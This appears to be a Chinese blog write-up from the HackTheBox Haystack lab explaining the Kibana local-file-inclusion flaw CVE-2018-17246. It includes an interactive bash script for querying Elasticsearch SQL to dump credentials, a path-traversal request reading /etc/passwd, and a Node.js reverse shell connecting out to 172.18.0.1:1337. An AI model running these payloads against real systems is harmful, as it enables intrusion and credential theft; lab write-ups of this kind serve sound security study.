最近做 HTB::Haystack 的时候遇到一个 CVE-2018-17246 漏洞,搞了一下觉得挺有意思的,正好军训完我就一直在躺尸,也没什么其他的东西来写,就写写这个漏洞吧。

首先这是个 LFI 漏洞,存在于低于 6.4.3 & 5.6.13 版本的 Kibana 上,通过漏洞可以导致 DOS攻击,任意文件读取攻击 ,也可以做 Reverse Shell 。KibanaElasticsearch 的核心插件,用来分析数据,搜索 Elasticsearch, 可作为产品或服务提供,与各种系统,产品,网站和企业中的其他 Elastic Stack 产品配合。Elasticsearch 在大数据领域可以说是大名鼎鼎,可见这个漏洞的影响还是比较大的。

漏洞的复现过程主要是利用 LFI ,所以这个漏洞比较适用于提权而非拿到 webshell。顺便说一下 Elasticsearch 可以通过往 /_xpack/sql 发送 POST 来做 sql 查询,具体的 curl 命令如下 :

1
2
3
curl -X POST -H 'Content-Type: application/json' -i 'http://10.10.10.115:9200/_xpack/sql?format=json' --data '{"query": "show functions"}'

# `show functions` 是展示当前可以支持的 `sql` 命令

这个可以用来做 SQL 注入,嫌每个命令都 curl 一大堆的话,我写了一个脚本来简化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#!/bin/bash

if [ "$#" != "1" ]; then
	echo "ElasticSearch-SQL V1.0 by Soptq"
	echo " "
	echo "Note:"
	echo "ElasticSearch Version Has to Below 7.0"
	echo " "
	echo "Usage: elasticsearch-sql <Host>"
	echo "Example: elasticsearch-sql http://10.10.10.115:9200/"
else
	initResult=$(curl -s -X POST -H 'Content-Type: application/json' -i "$1_xpack/sql?format=txt" --data '{"query": "show functions"}' | grep error)
	if [ "$initResult" != "" ]; then
		# init failed
		echo "Failed to connect to the Elasticsearch SQL Controller"
		echo "Try Verify the Host"
		echo " "
		echo "Example: elasticsearch-sql http://10.10.10.115:9200/"
	else
		#init successed
		echo "Successefully Connected to the Elasticsearch SQL Controller"
		echo " "
		echo " "
		input=""
		while [ "$input" != "exit" ]
		do
			read -p "> " input
			post_data='{"query": "'$input'"'
			result=$(curl -s -X POST -H 'Content-Type: application/json' -i "$1_xpack/sql?format=txt" --data "$post_data}")
			echo "#> $result"
		done
	fi
fi

用这个去 dump 一下管理员账号密码,运气好说不定就可以得到一个 shell

然后就是 CVE-2018-17246 的复现过程了

漏洞的产生原因主要是没有对

1
/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=

这个接口的输入数据做检验,导致这里可以传入任何数据。污染点在

1
\src\core_plugins\console\api_server\server.js

Apis 得到的值传递给赋值参数 name ,从图上也能看到 name 变量的内容没有进行任何过滤被引入到 require ,而 require 模块在 Nodejs 里表示加载模块的方式,可以加载核心模块,例如内置的 http ,也可以是包含名为 index.js 这样的文件或目录如果参数以 /./../ 开头则函数知道该模块是文件或者文件夹,继续跟进到函数 asJson 所在的 api.js 文件中。

在同级目录下ES_5_0.js 中有一个这个类的导出实例

总结一下此函数的正常流程是获取导出 API 类实例并调用函数 asJsonJavaScript 文件的名称,但是忽略了过滤验证因此我们可以指定任意文件,配合目录跳转遍历就可以实现 Kibana 服务器上任意文件读取的操作。

比如我们

1
2
GET 
/api/console/api_server?sense_version=%40%40SENSE_VERSION&apis=../../../../../../../../../../../etc/passwd

发出后客户端对抛出 500 错误,但在服务器端会把读取到的 passwd 内容抛出来。

通过这个原理,我们得到一个 shell 后就可以往 /tmp 中写入 js reverse shell ,来进行提权:

1
2
3
4
5
6
7
8
9
10
11
12
(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(1337, "172.18.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();


发现存在错别字或者事实错误?请麻烦您点击 这里 汇报。谢谢您!